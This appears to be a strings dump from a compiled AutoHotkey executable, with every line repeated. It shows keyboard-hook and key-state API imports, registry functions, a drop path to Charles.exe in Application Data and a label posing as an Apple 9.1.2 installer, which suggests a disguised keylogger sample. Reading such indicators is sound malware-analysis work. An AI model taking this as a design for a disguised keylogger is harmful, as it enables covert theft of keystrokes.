dA\\?\

GdiplusShutdown

GdiplusShutdown

dd

dd

The following %s name contains an illegal character:

The following %s name contains an illegal character:

"%-1.300s"%s

"%-1.300s"%s

The maximum number of MsgBoxes has been reached.

The maximum number of MsgBoxes has been reached.

operand of unlimited repeat could match the empty string

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

POSIX named classes are supported only within a class

erroffset passed as NULL

erroffset passed as NULL

POSIX collating elements are not supported

POSIX collating elements are not supported

this version of PCRE is not compiled with PCRE_UTF8 support

this version of PCRE is not compiled with PCRE_UTF8 support

PCRE does not support \L, \l, \N, \U, or \u

PCRE does not support \L, \l, \N, \U, or \u

support for \P, \p, and \X has not been compiled

support for \P, \p, and \X has not been compiled

(*VERB) with an argument is not supported

(*VERB) with an argument is not supported

mscoree.dll

mscoree.dll

- This application cannot run using the active version of the Microsoft .NET Runtime

- This application cannot run using the active version of the Microsoft .NET Runtime

Please contact the application's support team for more information.

Please contact the application's support team for more information.

GetProcessWindowStation

GetProcessWindowStation

user32.dll

user32.dll

internal state. The program cannot safely continue execution and must

internal state. The program cannot safely continue execution and must

continue execution and must now be terminated.

continue execution and must now be terminated.

WSOCK32.dll

WSOCK32.dll

WINMM.dll

WINMM.dll

VERSION.dll

VERSION.dll

COMCTL32.dll

COMCTL32.dll

GetWindowsDirectoryA

GetWindowsDirectoryA

KERNEL32.dll

KERNEL32.dll

GetKeyboardLayout

GetKeyboardLayout

UnhookWindowsHookEx

UnhookWindowsHookEx

SetWindowsHookExA

SetWindowsHookExA

RegisterHotKey

RegisterHotKey

UnregisterHotKey

UnregisterHotKey

SetKeyboardState

SetKeyboardState

GetKeyboardState

GetKeyboardState

VkKeyScanExA

VkKeyScanExA

MapVirtualKeyA

MapVirtualKeyA

GetAsyncKeyState

GetAsyncKeyState

GetKeyNameTextA

GetKeyNameTextA

keybd_event

keybd_event

EnumChildWindows

EnumChildWindows

EnumWindows

EnumWindows

ExitWindowsEx

ExitWindowsEx

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

comdlg32.dll

comdlg32.dll

RegCloseKey

RegCloseKey

RegEnumKeyExA

RegEnumKeyExA

RegQueryInfoKeyA

RegQueryInfoKeyA

RegOpenKeyExA

RegOpenKeyExA

RegCreateKeyExA

RegCreateKeyExA

RegDeleteKeyA

RegDeleteKeyA

ADVAPI32.dll

ADVAPI32.dll

ShellExecuteExA

ShellExecuteExA

SHFileOperationA

SHFileOperationA

SHELL32.dll

SHELL32.dll

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

GetCPInfo

GetCPInfo

-()[]{}:;'"/\,.?!

-()[]{}:;'"/\,.?!

zcÁ

zcÁ

%Documents and Settings%\%current user%\Application Data

%Documents and Settings%\%current user%\Application Data

%Documents and Settings%\%current user%\Application Data\Charles.exe

%Documents and Settings%\%current user%\Application Data\Charles.exe

aÆxQ

aÆxQ

]}%UJ

]}%UJ

;.Zrt

;.Zrt

mi.mK

mi.mK

.mKui

.mKui

$26. 395

$26. 395

version="1.0.48.05"

version="1.0.48.05"

name="Microsoft.Windows.AutoHotkey"

name="Microsoft.Windows.AutoHotkey"

name="Microsoft.Windows.Common-Controls"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

publicKeyToken="6595b64144ccf1df"

&Lines most recently executed

&Lines most recently executed

&Hotkeys and their methods

&Hotkeys and their methods

&Key history and script info

&Key history and script info

&Web Site

&Web Site

Apple Inc. 9.1.2 Installation

Apple Inc. 9.1.2 Installation

9.1.2

9.1.2